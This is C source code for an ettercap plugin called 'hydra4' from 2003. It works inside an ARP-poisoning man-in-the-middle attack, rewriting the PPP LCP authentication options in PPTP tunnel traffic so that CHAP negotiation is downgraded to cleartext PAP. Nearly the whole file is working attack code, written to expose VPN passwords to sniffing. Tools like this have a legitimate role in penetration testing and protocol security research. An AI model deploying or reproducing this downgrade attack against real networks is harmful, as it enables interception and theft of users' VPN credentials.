/*
    hydra4 -- ettercap plugin -- Forces PAP during PPTP negotiation (it almost fails)

    Copyright (C) 2003  ALoR <alor@users.sourceforge.net>, NaGA <crwm@freemail.it>
    
    This program is free software; you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation; either version 2 of the License, or
    (at your option) any later version.

    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.

    You should have received a copy of the GNU General Public License
    along with this program; if not, write to the Free Software
    Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.

    $Id: H06_hydra4.c,v 1.1 2003/01/22 14:20:43 lordnaga Exp $
*/

#include <stdlib.h>

#ifndef CYGWIN
#include <unistd.h>
#endif

#include <sys/types.h>
#include <stdio.h>
#include <string.h>

#include "../../src/include/ec_main.h"
#include "../../src/include/ec_version.h"
#include "../../src/include/ec_plugins.h"
#include "../../src/include/ec_inet_structures.h"
#include "../../src/include/ec_inet.h"

// protos....

int Plugin_Init(void *);
int Plugin_Fini(void *);
int hydra4(void *buffer);

// plugin operation

struct plugin_ops hydra4_ops = {
   ettercap_version: VERSION,
   plug_info:        "PPTP: Forces PAP authentication",
   plug_version:     10,
   plug_type:        PT_HOOK,
   hook_point:       PCK_RECEIVED_RAW,
   hook_function:    &hydra4,
};


struct pptp_gre_header {
	u_char flags;		
	u_char ver;		
	u_short protocol;	
	u_short payload_len;	
	u_short call_id;	
	u_int32_t seq;		
	u_int32_t ack;		
				
};

#define PPTP_GRE_PROTO	0x880B
#define PPTP_GRE_VER	0x1

#define PPTP_GRE_IS_C(f) ((f) & 0x80)
#define PPTP_GRE_IS_R(f) ((f) & 0x40)
#define PPTP_GRE_IS_K(f) ((f) & 0x20)
#define PPTP_GRE_IS_S(f) ((f) & 0x10)
#define PPTP_GRE_IS_A(f) ((f) & 0x80)

struct ppp_header {
	u_char address;
	u_char control;
	u_short proto;
};

struct ppp_lcp_header {
	u_char code;
	u_char ident;
	u_short length;
};

#define PPP_PROTO_LCP		0xc021
#define PPP_CONFIGURE_REQUEST   0x01
#define PPP_CONFIGURE_NAK   	0x03
#define PPP_CONFIGURE_REJ   	0x04
#define PPP_AUTH_REQUEST        0x03
#define PPP_REQUEST_PAP		0xc023
#define PPP_REQUEST_CHAP	0xc223

#define PPP_DUMMY_REQUEST 	0xce23

//==================================

int Plugin_Init(void *params)
{
   return Plugin_Register(params, &hydra4_ops);
}

int Plugin_Fini(void *params)
{
   return 0;
}


// =================================

char *Parse_Option(char * buffer, char option, short tot_len)
{
    char counter=0;
    while (tot_len>0 && *buffer!=option && counter<50)
    {	
	tot_len-=buffer[1];
	buffer+=buffer[1];
	counter++;
    }
    if (*buffer==option) return buffer;
    return NULL;
}

int hydra4(void *buffer)              
{                                    
   IP_header  *ip;
   ETH_header *eth;
   RAW_PACKET *pck_raw;
   struct pptp_gre_header *pgh, *pghS;
   struct ppp_header *ppp;
   struct ppp_lcp_header *lcp;
   u_short proto;
   unsigned int pghlen;
   static int flag=0;
   u_short *option;
   
   pck_raw = (RAW_PACKET *)buffer;

   eth = (ETH_header *) pck_raw->buffer;
   
   if (!Options.arpsniff && !flag)
   {
      Plugin_Hook_Output("You have to use arpsniff to summon hydra4...\n");
      flag=1;
   }
   
   if ( ntohs(eth->type) == ETH_P_IP && Options.arpsniff )
   {
      ip = (IP_header *)(eth+1);
      if (ip->proto != IPPROTO_GRE) return (0);
      
      if (ntohs(ip->t_len) < (pghlen = sizeof(*pgh)) +  IP_HEADER)
	return (0);
		
      pgh = (struct pptp_gre_header *)((int)ip + ip->h_len * 4);
	
      if ((pgh->ver & 0x7f) != PPTP_GRE_VER ||
	   ntohs(pgh->protocol) != PPTP_GRE_PROTO ||
	   PPTP_GRE_IS_C(pgh->flags) || PPTP_GRE_IS_R(pgh->flags) ||
	   PPTP_GRE_IS_K(pgh->flags) == 0 || (pgh->flags & 0xf) != 0) 
		return (0);
	
      if (PPTP_GRE_IS_S(pgh->flags) == 0) return (0);
	
      if (PPTP_GRE_IS_A(pgh->ver) == 0) pghlen -= sizeof(pgh->ack);

      if (ntohs(ip->t_len) < ntohs(pgh->payload_len) + pghlen + IP_HEADER)
		return (0);

      ppp = (struct ppp_header *)((unsigned int)pgh + pghlen); 
      
      if (ppp->address != 0xff && ppp->control != 0x3) 
      {
		proto = ntohs(*((short *)ppp));
		lcp = (struct ppp_lcp_header *)((u_char *)ppp + sizeof(proto));
      }
      else 
      {
	    proto = ntohs(ppp->proto);
	    lcp = (struct ppp_lcp_header *)(ppp + 1);
      }
      
      if (proto != PPP_PROTO_LCP) return (0);

      if ( lcp->code != PPP_CONFIGURE_REQUEST && lcp->code != PPP_CONFIGURE_NAK && lcp->code != PPP_CONFIGURE_REJ) return (0);
      if ( (option=(u_short *)Parse_Option( (char *)(lcp + 1), PPP_AUTH_REQUEST, ntohs(lcp->length)-sizeof(*lcp))) ==NULL) 
          return (0);
      
      if ( option[1] == htons(PPP_REQUEST_PAP) ) return (0);
      
      if ( lcp->code == PPP_CONFIGURE_REJ && option[1] == htons(PPP_DUMMY_REQUEST) ) 
      {
          option[1] = htons(PPP_REQUEST_CHAP);
          // We assume an original CHAP request that we have converted into DUMMY
      }
      else if (lcp->code == PPP_CONFIGURE_REQUEST)
          option[1] = htons(PPP_DUMMY_REQUEST);     
      else if (lcp->code == PPP_CONFIGURE_NAK)
          option[1] = htons(PPP_REQUEST_PAP);

   }

   return 0;
}


/* EOF */
